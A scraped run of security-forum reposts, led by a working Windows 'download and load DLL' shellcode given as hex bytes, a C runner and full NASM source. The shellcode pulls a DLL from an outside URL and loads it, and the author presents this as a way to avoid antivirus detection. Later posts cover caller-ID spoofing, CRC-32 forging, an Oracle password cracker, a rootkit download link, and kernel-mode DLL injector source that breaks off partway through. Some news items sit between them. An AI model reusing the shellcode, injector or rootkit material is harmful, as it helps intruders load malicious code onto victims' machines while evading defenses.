Nytro

The idea is simple: you can download an executable file but it can be easily detected. However, the DLLs are NOT detected (most of the time)! So it can be helpful to just download and load a library instead of downloading and executing something. The DLL can contain any code, C or something else, and it is very easy to do anything instead of writing some custom shellcode. This shellcode should work on Windows XP, Vista, 7, 8. It is 90% based on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ so all credits go to RubberDuck (Binary Flow) How it works: - Find kernel32 address from PEB - Find GetProcAddress function from kernel32 - Find LoadLibrary function using GetProcAddress - LoadLibrary("urlmon.dll") - Find URLDownloadToFile function from urlmon.dll - URLDownloadToFile("https://rstforums.com/fisiere/dead.dll", "dead.dll") - LoadLibrary("dead.dll") - Loop Shellcode and C program to test it (DETECTABLE): /* Name: Download & Load (DLL) shellcode Author: Nytro Powered by: Romanian Security Team (https://rstforums.com/forum) Based (90%) on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ Tested on: Windows XP, Windows 7, Windows 8 The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll. The dead.dll library contains a simple MessageBox, but do not trust me, download it and check it yourself. */ #include "stdafx.h" #include <Windows.h> int main() { // Our shellcode unsigned char shellcode[] = "\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B" "\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01" "\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x0F\x85\xF0" "\xFF\xFF\xFF\x81\x78\x04\x72\x6F\x63\x41\x0F\x85\xE3\xFF\xFF\xFF" "\x81\x78\x08\x64\x64\x72\x65\x0F\x85\xD6\xFF\xFF\xFF\x8B\x72\x24" "\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\x8B\x14\x8E\x01" "\xDA\x31\xC9\x51\x68\x2E\x64\x6C\x6C\x68\x64\x65\x61\x64\x53\x52" "\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64" "\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x89\x45\xFC\x51\x66\xB9\x6C" "\x6C\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD0\x83" "\xC4\x10\x8B\x54\x24\x04\x31\xC9\x51\x66\xB9\x65\x41\x51\x31\xC9" "\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\x6E\x6C\x68" "\x55\x52\x4C\x44\x54\x50\xFF\xD2\x31\xC9\x8D\x54\x24\x24\x51\x51" "\x52\xEB\x1F\x51\xFF\xD0\x83\xC4\x1C\x31\xC0\x50\x68\x2E\x64\x6C" "\x6C\x68\x64\x65\x61\x64\x54\x8B\x45\xFC\xFF\xD0\x90\xE9\xFA\xFF" "\xFF\xFF\xE8\xDC\xFF\xFF\xFF" "https://rstforums.com/fisiere/dead.dll" "\x00"; LPVOID lpAlloc = NULL; void (*pfunc)(); // Allocate memory (rwx) for shellcode lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL) { printf("Memory isn't allocated!\n"); return 0; } // Copy memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1); pfunc = (void ())lpAlloc; // Execute pfunc(); return 0; } The shellcode assembly (NASM): bits 32 ; Find kernel32 ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 mov eax,[fs:ecx+0x30] ; EAX = PEB mov eax,[eax+0xc] ; EAX = PEB->Ldr mov esi,[eax+0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second module xchg eax,esi ; EAX = ESI, ESI = EAX lodsd ; EAX = Third (kernel32) mov ebx,[eax+0x10] ; EBX = Base address mov edx,[ebx+0x3c] ; EDX = DOS->e_lfanew add edx,ebx ; EDX = PE Header mov edx,[edx+0x78] ; EDX = Offset export table add edx,ebx ; EDX = Export table mov esi,[edx+0x20] ; ESI = Offset names table add esi,ebx ; ESI = Names table xor ecx,ecx ; EXC = 0 ; Find GetProcAddress ; ---------------------------------------------------------- inc ecx ; Loop for each function lodsd add eax,ebx ; Loop untill function name cmp dword [eax],0x50746547 ; GetP jnz 0x23 cmp dword [eax+0x4],0x41636f72 ; rocA jnz 0x23 cmp dword [eax+0x8],0x65726464 ; ddre jnz 0x23 mov esi,[edx+0x24] ; ESI = Offset ordinals add esi,ebx ; ESI = Ordinals table mov cx,[esi+ecx*2] ; CX = Number of function dec ecx mov esi,[edx+0x1c] ; ESI = Offset address table add esi,ebx ; ESI = Address table mov edx,[esi+ecx*4] ; EDX = Pointer(offset) add edx,ebx ; EDX = GetProcAddress ; Find LoadLibrary ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 push ecx push dword 0x6c6c642e ; .dll push dword 0x64616564 ; dead push ebx ; Kernel32 base address push edx ; GetProcAddress push ecx ; 0 push dword 0x41797261 ; aryA push dword 0x7262694c ; Libr push dword 0x64616f4c ; Load push esp ; "LoadLibrary" push ebx ; Kernel32 base address call edx ; GetProcAddress(LL) ; LoadLibrary("urlmon.dll"); ; ---------------------------------------------------------- add esp,byte +0xc ; pop "LoadLibrary" pop ecx ; ECX = 0 push eax ; EAX = LoadLibrary mov [ebp-4], eax ; Backup EAX; Ugly push ecx mov cx,0x6c6c ; ll push ecx push dword 0x642e6e6f ; on.d push dword 0x6d6c7275 ; urlm push esp ; "urlmon.dll" call eax ; LoadLibrary("urlmon.dll") ; Get URLDownloadToFile ; ---------------------------------------------------------- add esp,byte +0x10 ; Clean stack mov edx,[esp+0x4] ; EDX = GetProcAddress xor ecx,ecx ; ECX = 0 push ecx mov cx,0x4165 ; eA push ecx xor ecx,ecx ; ECX = 0 push dword 0x6c69466f ; oFil push dword 0x5464616f ; oadT push dword 0x6c6e776f ; ownl push dword 0x444c5255 ; URLD push esp ; "URLDownloadToFileA" push eax ; urlmon base address call edx ; GetProc(URLDown) ; Call URLDownloadToFile ; ---------------------------------------------------------- xor ecx,ecx ; ECX = 0 lea edx,[esp+0x24] ; EDX = "dead.dll" push ecx push ecx push edx ; "dead.dll" jmp short 0xF2 ; Will see push ecx ; 0 call eax ; Download ; Call LoadLibrary ; ---------------------------------------------------------- add esp, byte +0x1c ; Clean stack (URL...) xor eax, eax ; NULL push eax push dword 0x6c6c642e ; .dll push dword 0x64616564 ; dead push esp mov eax, [ebp-4] ; I know, this sucks call eax ; LoadLibrary nop jmp 0xEC ; Fuckin' loop ; Will put URL pointer on the stack as return address (call) call dword 0xD3 url db "https://rstforums.com/fisiere/dead.dll", 0 Important Note! It may not work on all Windows 7 & Windows 8 operating systems due to some stupidities related to the Internet Explorer settings! For example, on some Windows 8 versions the URLDownloadToFile didn't work until IE was the default browser. On some Windows 7 versions it didn't work until the IE settings were reset, but it worked even if IE was not the default browser. The problem is with URLDownloadToFile, not with the shellcode. If you have any questions, you can ask me here. Thanks, Nytro

Probabil nu. E pentru cei din Bucuresti.

OWASP Romania InfoSec Conference 2014 Sunteti invitati la urmatorul eveniment OWASP al capitolului din Romania. OWASP Romania InfoSec Conference 2014 va fi o conferinta de o zi cu prezentari pe teme de securitate IT si va avea loc in data de 24 octombrie. Detaliile vor fi publicate aici: https://www.owasp.org/index.php/OwaspRomaniaConference2014 Call For Presentations este deschis pana pe 30 septembrie 2014. Asteptam inscrieri pentru prezentari sau workshop-uri din urmatoarele arii si nu numai: • Security aspects of new / emerging web technologies / paradigms / languages / frameworks • Secure development: frameworks, best practices, secure coding, methods, processes, SDLC, etc. • Security of web frameworks (Struts, Spring, ASP.Net MVC, RoR, etc) • Vulnerability analysis (code review, pentest, static analysis etc) • Threat modelling of applications • Mobile security and security for the mobile web • Cloud security • Browser security and local storage • Countermeasures for application vulnerabilities • New technologies, paradigms, tools • Application security awareness and education • Security in web services, REST, and service oriented architectures • Privacy in web apps, Web services and data storage Vor fi selectate prezentarile si temele cele mai interesante. Inregistrarea prezentarilor se realizeaza aici. Important: termenul limita pentru inscrierea prezentarilor este 30 septembrie lista speakerilor confirmati va fi anuntata pe 1 octombrie conferinta va avea loc pe 24 octombrie prezentarile vor avea durata de 45 de minute fiecare va exista un speaker agreement Info: https://www.owasp.org/index.php/OwaspRomaniaConference2014

Caller ID Spoofing When conducting a VoIP security assessment against a PBX (Private Branch Exchange) it is important to perform tests against all the type of attacks. One of the attacks that exist for years in VoIP is called Caller ID spoofing and we are going to examine it in this article.Caller ID spoofing is a type of attack where a malicious attacker will impersonate a legitimate SIP user to call other legitimate users on the voice network. The implementation of this attack is fairly easy and it can be achieved with the use of the following tools: Metasploit Viproy Inviteflood Let’s see the details of this attack below. Attack Scenario An internal attacker is calling the Director of Finance of the company by pretending that he is the CEO and he is requesting to transfer X amount of money to his bank account. The attacker is changing the header of the SIP INVITE request in order to spoof his caller ID to CEO. The Director of Finance accepts the call as the caller ID seems to be from CEO which is considered trusted and initiates the phone conversation with the attacker. Scenario The crafted malformed SIP INVITE message can be seen below: Now let’s see how this type of attack can be conducted with the use of various tools. Viproy Viproy is penetration testing toolkit for VoIP assessments. It has been developed by Fatih Ozavci and it can be loaded to the Metasploit Framework. There is a specific module that can be used for Caller ID spoofing and in the image below you can see the configuration of the module: Spoofing the Caller ID with Viproy This will cause the phone device to ring with the custom message of our choice even from phone extensions that are not valid. Spoofed Call – Viproy Inviteflood Spoofed INVITE requests can be sent and from another tool which is called inviteflood and it is part of the Kali Linux. The main purpose of inviteflood is to be used for DoS (Denial of Service) attacks against SIP devices by sending multiple INVITE requests but it can accommodate our need to spoof our ID with the following command: Caller ID Spoofing – Inviteflood The next image is showing the output and as we can see the phone is ringing with the ID of the CEO as per our scenario above. Spoofed Call with the ID of CEO Metasploit Metasploit framework contains as well an existing module which can send a fake SIP INVITE message to an existing extension: Fake INVITE – Metasploit The device will ring with the following message: Spoofed Caller ID – Metasploit Conclusion In order for the attack to be successful the PBX needs to allow anonymous inbound SIP calls. It is very easy to be implemented even from people with limited knowledge about VoIP and hacking that’s why systems owners need to ensure that their PBX’s prevents anonymous inbound calls to reach their legitimate users in order to mitigate the risk of this attack. Sursa: Caller ID Spoofing | Penetration Testing Lab

[h=3]CRC-32 forging[/h]You may already know that the CRC-32 of any text can be forged if you can add 4 bytes anywhere in the text. See anarchriz's paper on the subject. A real-world example of such a situation can be seen in JB's ESET CONFidence Crackme Writeup. Good code that I recently used it in another situation, in order to forge a text of a given CRC-32 by inserting 4 bytes at a specific position. Since I reused most of his code, let's share mine as well (crc32.py): #!/usr/bin/env pythonfrom struct import pack,unpack # Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check POLY = 0xedb88320 # CRC-32-IEEE 802.3 #POLY = 0x82F63B78 # CRC-32C (Castagnoli) #POLY = 0xEB31D82E # CRC-32K (Koopman) #POLY = 0xD5828281 # CRC-32Q def build_crc_tables(): for i in range(256): fwd = i rev = i << 24 for j in range(8, 0, -1): # build normal table if (fwd & 1) == 1: fwd = (fwd >> 1) ^ POLY else: fwd >>= 1 crc32_table = fwd & 0xffffffff # build reverse table =) if rev & 0x80000000 == 0x80000000: rev = ((rev ^ POLY) << 1) | 1 else: rev <<= 1 rev &= 0xffffffff crc32_reverse = rev crc32_table, crc32_reverse = [0]*256, [0]*256 build_crc_tables() def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff crc = 0xffffffff for c in s: crc = (crc >> 8) ^ crc32_table[(crc ^ ord©) & 0xff] return crc^0xffffffff def forge(wanted_crc, str, pos=None): if pos is None: pos = len(str) # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff for c in str[:pos]: fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord©) & 0xff] # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc^0xffffffff for c in str[pos:][::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© # deduce the 4 bytes we need to insert for c in pack('<L',fwd_crc)[::-1]: bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord© res = str[:pos] + pack('<L', bkd_crc) + str[pos:] assert(crc32(res) == wanted_crc) return res Given a text, a CRC-32 and a position, you can forge a new text having this exact CRC-32 by inserting 4 bytes at the indicated position: >>> str = "some text">>> wanted_crc = 0xdeadbeef >>> for pos in range(len(str)): f = forge(wanted_crc, str, pos) print "%-30r CRC32 0x%08x" % (f, crc32(f)) '^q\xb4\x19some text' CRC32 0xdeadbeef 's\x04\xe8\xc66ome text' CRC32 0xdeadbeef 'so8~V\xb5me text' CRC32 0xdeadbeef 'som\x05\xf3\xb4ve text' CRC32 0xdeadbeef 'some\xab\xd5\xc4( text' CRC32 0xdeadbeef 'some }\x9eBZtext' CRC32 0xdeadbeef 'some t:\xfa\x86\rext' CRC32 0xdeadbeef 'some te\x9f\xca\xd9\x9ext' CRC32 0xdeadbeef 'some tex\x11\xae\xf0Ft' CRC32 0xdeadbeef Thanks JB Other CRC-32 resources: crctools by Julien Tinnes, libcrc by Y. Guillot, among others. Posted by StalkR at 20:15 Sursa: StalkR's Blog: CRC-32 forging

[TABLE] [TR] [TD][TABLE=width: 100%] [TR] [TD]Oracle Password Auditor is the FREE Oracle database password recovery and auditing software.[/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] It not only helps you to recover lost or forgotten Oracle database password but also audit Oracle database setup in an corporate environment by discovering the weak password configurations. During auditing operation, it detects special cases such as Account Lockout, Incorrect Oracle SID, Session Limit problems etc. In such cases it stops the operation rather than blindly continuing with the errors. Penetration testers can use this feature to detect any account lockout issues and further verify if it is susceptible to such DDOS attacks. It uses simple & faster dictionary based password recovery method. Also in the beginning it can automatically check for well known default user/password combinations. It is very easy to use with a cool GUI interface and a handy tool for IT administrators & Penetration Testers. It works on wide range of platforms starting from Windows XP to Windows 8.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Features[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Quickly Audit or Recover Your Lost Oracle Password. Dictionary based Password Recovery method Automatically Checks for Default User/Password combinations Includes dictionary file having popular list of default Oracle passwords Free and easy to use tool Very useful for IT administrators & Penetration Testers Automatically detects Account Lockout, Invalid SID, Session Limit problems. Displays detailed statistics during the operation. Integrated Installer for local Installation & Uninstallation. [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [TABLE] [TR] [TD=class: page_subheader]Screenshots[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 1:Oracle Password Auditor is showing the recovered Oracle Password[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Screenshot 2:Oracle Password Auditor is detecting the locked out account and stopping the operation.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader] Release History[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 90%, align: center] [TR] [TD=class: page_sub_subheader]Version 2.5 : 19th Jul 2014[/TD] [/TR] [TR] [TD]Auto copy the Oracle login password to clipboard on success. Improved UI interface with glowing icons and fixed few minor bugs.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 2.0 : 30th May 2013[/TD] [/TR] [TR] [TD]Mega edition with support for Windows 8. Includes new features like default passwords check in the beginning, optimized oracle password auditing technique and enhanced GUI interface.[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_sub_subheader]Version 1.0 : 13th July 2011[/TD] [/TR] [TR] [TD]First public release of OraclePasswordAuditor[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Download[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] [TABLE=width: 95%, align: center] [TR] [TD] FREE Download Oracle Password Auditor v2.5 License : Freeware Platform : Windows XP, 2003, Vista, Windows 7, Windows 8 Download [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD][/TD] [/TR] [/TABLE] Sursa: Oracle Password Auditor : Free Oracle Password Recovery & Auditing Tool

Firefox adds anti-malware file reputation service Summary: Firefox has blocked known phishing and malware sites for some time. Now it will check reputation on individual files and soon use file signatures. By Larry Seltzer for Zero Day | July 25, 2014 -- 12:40 GMT (05:40 PDT) Mozilla has announced that the new version 31.0 of Firefox, released earlier this week, will check individual file downloads against Google's Safe Browsing reputation service to determine if they are known malware. Firefox has checked web site URLs against Google's Safe Browsing service since version 2.0. Originally, that service checked only to see if sites were known phishing sites; later on, a list of sites known to serve malware was added to the service. When you encounter such a site, Firefox raises an interstitial warning: Version 31.0 adds a new feature. If, during a download, the site passes reputation check, then before completion Firefox will send a SHA-256 hash of the file to Google's Safe Browsing Service, which maintains a database of them. This file reputation service is not a documented part of the Safe Browsing API, but Google has given Firefox access to it. Obviously Google Chrome has had access to this file reputation service since Google launched it in 2012. Firefox also announced that version 32, due in September, will add a new efficiency to malware checks. Before checking the reputation of an individual file with Safe Browsing, it will check the file's digital signature (if it has one) for validity and to see if the publisher is in a local list of known-trusted publishers. If it passes this test, then the file is deemed good. If not, Firefox proceeds with the file reputation check. If you want to turn this service off, you may do so in "Preferences > Security > Block reported attack sites." Note that this setting controls not just the site check (as the name implies) but also the individual file tests. To turn off just the individual file tests, replace browser.safebrowsing.appRepURL in about:config with an empty string (the default setting is https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_API_KEY%). Microsoft Windows SmartScreen service has checked for phishing and malicious web sites in Internet Explorer for some time. With Windows 8, Microsoft added file reputation checking to the service. Sursa: Firefox adds anti-malware file reputation service | ZDNet

The Apple backdoor that wasn't Summary: On Monday, several media outlets mistakenly reported that Apple had installed "backdoors" on millions of iPhones and iOS devices. UPDATED. By Violet Blue for Zero Day | July 25, 2014 -- 12:05 GMT (05:05 PDT) Before the iPhone came out, and long before anyone heard the name "Ed Snowden," the most common use of the word "backdoor" was relegated to an industry that applied the term as a colorful anatomical descriptive, helping potential customers select the preferred access point for their adult entertainment. Last weekend, a hacker who's been campaigning to make a point about Apple security by playing fast and loose with the now widely-accepted definition of "backdoor" struck gold when journalists didn't do their homework and erroneously reported a diagnostic mechanism as a nefarious, malfeasant, secret opening to their private data. Speaking at the Hackers On Planet Earth conference in New York, Jonathan Zdziarski said that Apple’s iOS contains intentionally created access that could be used by governments to spy on iPhone and iPad users to access a user's address book, photos, voicemail and any accounts configured on the device. As he has been doing since the Snowden documents started making headlines last year, Mr. Zdziarski re-cast Apple's developer diagnostics kit in a new narrative, turning a tool that could probably gain from better user security implementation into a sinister "backdoor." The "Apple installed backdoors on millions of devices" story is still making headlines, despite the fact that respected security researchers started debunking researcher Jonathan Zdziarski's claims the minute people started tweeting about his HopeX talk on Sunday. Since Mr. Zdziarski presented "Identifying back doors, attack points, and surveillance mechanisms in iOS devices", his miscasting of Apple's developer diagnostics as a "backdoor" was defeated on Twitter, debunked and saw SourceClear calling Zdziarski an attention seeker in Computerworld, and Apple issued a statement saying that no, this is false. In fact, this allegedly "secret backdoor" was added to diagnostic information that has been as freely available as a page out of a phone book since 2002. The packet capture software used for diagnostics referenced by Mr. Zdziarski in support of his claims is similar in functionality as the one that's installed on every Apple laptop and desktop computer for diagnostics. So his numbers of "backdoors" allegedly installed by Apple for wide-ranging nefarious purposes are off by like, a billion. It appears that no one reporting Zdziarski's claims as fact attended his talk, watched it online, and less than a handful fact-checked or consulted outside experts. Which is, incidentally, what I did. I saw the talk begin to gain momentum on Twitter, then quickly flushed the idea of a story when the researchers I consulted kindly told me there was no "there" there. Mind you, I'm quick to call Apple on its issues. Among many other articles about Apple security vulns and hacks, I was first to report seeing an iPhone getting hacked in 60 seconds with a malicious charger, and when Apple said that intercepting (and spoofing) iMessage was only "theoretical" I provided video proof of the exploit. Regardless of the problems with Mr. Zdziarski's sermon, the (incorrect) assertion that Apple installed backdoors for law enforcement access was breathlessly reported this week by The Guardian, Forbes, Times of India, The Register, Ars Technica, MacRumors, Cult of Mac, Apple Insider, InformationWeek, Read Write Web, Daily Mail and many more (including ZDNet). People were told to essentially freak out over iPhones allowing people who know the passcode and pairing information to use the device. If you're the kind of person that walks into a public library, plugs in your iPhone and gives the public computer and every rando who accesses it permission to access everything on your phone forever, then okay, maybe you should freak out. The entire incident has cemented mistrust about journalists in infosec communities, and their reactions to the media mess hasn't been kind. Sursa: The Apple backdoor that wasn't | ZDNet

Low Level IPhone programming Video from JailbreakCon Twitter: @JailbreakCon - http://twitter.com/JailbreakCon “Low Level iPhone Programming (And more!)” by winocm [remotely, via FaceTime Voice, with Steven De Franco (iH8sn0w) on stage to help] Slides: Presentation1.pdf Sursa: Low Level IPhone programming

[h=1]SSDT PROcess and protect rootkit[/h]Started By x4r0r, Apr 20 2014 01:41 AM Hello to all especially to zwclose7 share has come from the following code developed ... everything is complete without no problem .... it is detected by some antivirus few knew it and its function is very important to us if someone encourages has improved works in Windows 7 32-bit Windows 8 32-bit and 64-bit here i leave all the details works all windows 32/64 bit Download: files.cnblogs.com/yeerh/HookDemo_SSDT.7z Sursa: SSDT PROcess and protect rootkit - Source Codes - rohitab.com - Forums

[h=1]Inject DLL from kernel mode[/h]Started By zwclose7, Feb 24 2014 04:05 PM Have you ever tried inject DLL from kernel mode? You can try to inject DLL from kernel mode when user mode methods doesn't work, e.g hooked NtOpenProcess/CreateRemoteThread, etc. How kernel mode injection works? 1) Get the address of KdVersionBlock from KPCR. (__readfsdword) 2) Get the address of MmLoadedUserImageList from KdVersionBlock. 3) Get the base address of ntdll from MmLoadedUserImageList. 4) Parse the export table of ntdll to locate LdrLoadDll. 5) Find a thread to hijack. (ZwQuerySystemInformation) 6) Open the target process. (PsLookupProcessByProcessId) 7) Open the target thread. (PsLookupThreadByThreadId) 8) Attach to target process's address space. (KeAttachProcess) 8) Allocate memory in target process's address space. (ZwAllocateVirtualMemory) 9) Copy the DLL name and APC routine into target process's address space. (memcpy,RtlInitUnicodeString) 10) Set ApcState.UserApcPending to TRUE to force the target thread to execute the APC routine. 11) Allocate an APC object from nonpaged pool. (ExAllocatePool) 12) Initialize the APC and insert it to the target thread. (KeInitializeApc,KeInsertQueueApc) 13) The target thread executes the APC routine in target process's address space. The APC routine calls LdrLoadDll to load the DLL. 14) Wait for the APC routine to complete. 15) Free the allocated memory. (ZwFreeVirtualMemory,ExFreePool) 16) Detach from target process's address space. (KeDetachProcess) 17) Dereference the target process and target thread. (ObDereferenceObject) Usage: To use the injector, run install.bat to install the driver, and then run kinject.exe from command prompt. kinject [PID] [DLL name] Source code (driver) #include <ntifs.h>#include <ntddk.h> typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; }SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMA TION; typedef struct _SYSTEM_PROCESS_INFO { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; }SYSTEM_PROCESS_INFO,*PSYSTEM_PROCESS_INFO; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; struct _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; typedef struct _IMAGE_DOS_HEADER { USHORT e_magic; USHORT e_cblp; USHORT e_cp; USHORT e_crlc; USHORT e_cparhdr; USHORT e_minalloc; USHORT e_maxalloc; USHORT e_ss; USHORT e_sp; USHORT e_csum; USHORT e_ip; USHORT e_cs; USHORT e_lfarlc; USHORT e_ovno; USHORT e_res[4]; USHORT e_oemid; USHORT e_oeminfo; USHORT e_res2[10]; LONG e_lfanew; }IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER; typedef struct _IMAGE_DATA_DIRECTORY { ULONG VirtualAddress; ULONG Size; }IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY; typedef struct _IMAGE_FILE_HEADER { USHORT Machine; USHORT NumberOfSections; ULONG TimeDateStamp; ULONG PointerToSymbolTable; ULONG NumberOfSymbols; USHORT SizeOfOptionalHeader; USHORT Characteristics; }IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER; typedef struct _IMAGE_OPTIONAL_HEADER { USHORT Magic; UCHAR MajorLinkerVersion; UCHAR MinorLinkerVersion; ULONG SizeOfCode; ULONG SizeOfInitializedData; ULONG SizeOfUninitializedData; ULONG AddressOfEntryPoint; ULONG BaseOfCode; ULONG BaseOfData; ULONG ImageBase; ULONG SectionAlignment; ULONG FileAlignment; USHORT MajorOperatingSystemVersion; USHORT MinorOperatingSystemVersion; USHORT MajorImageVersion; USHORT MinorImageVersion; USHORT MajorSubsystemVersion; USHORT MinorSubsystemVersion; ULONG Win32VersionValue; ULONG SizeOfImage; ULONG SizeOfHeaders; ULONG CheckSum; USHORT Subsystem; USHORT DllCharacteristics; ULONG SizeOfStackReserve; ULONG SizeOfStackCommit; ULONG SizeOfHeapReserve; ULONG SizeOfHeapCommit; ULONG LoaderFlags; ULONG NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[16]; }IMAGE_OPTIONAL_HEADER,*PIMAGE_OPTIONAL_HEADER; typedef struct _IMAGE_NT_HEADERS { ULONG Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER OptionalHeader; }IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS; typedef struct _IMAGE_EXPORT_DIRECTORY { ULONG Characteristics; ULONG TimeDateStamp; USHORT MajorVersion; USHORT MinorVersion; ULONG Name; ULONG Base; ULONG NumberOfFunctions; ULONG NumberOfNames; ULONG AddressOfFunctions; ULONG AddressOfNames; ULONG AddressOfNameOrdinals; }IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY; #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 extern "C" NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); extern "C" LPSTR PsGetProcessImageFileName(PEPROCESS Process); typedef NTSTATUS (*PLDR_LOAD_DLL)(PWSTR,PULONG,PUNICODE_STRING,PVOI D*); typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; typedef struct _KINJECT { UNICODE_STRING DllName; wchar_t Buffer[1024]; PLDR_LOAD_DLL LdrLoadDll; PVOID DllBase; ULONG Executed; }KINJECT,*PKINJECT; typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment }KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT; typedef VOID (NTAPI *PKNORMAL_ROUTINE)( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2 ); typedef VOID KKERNEL_ROUTINE( PRKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext, PVOID *SystemArgument1, PVOID *SystemArgument2 ); typedef KKERNEL_ROUTINE (NTAPI *PKKERNEL_ROUTINE); typedef VOID (NTAPI *PKRUNDOWN_ROUTINE)( PRKAPC Apc ); extern "C" void KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, 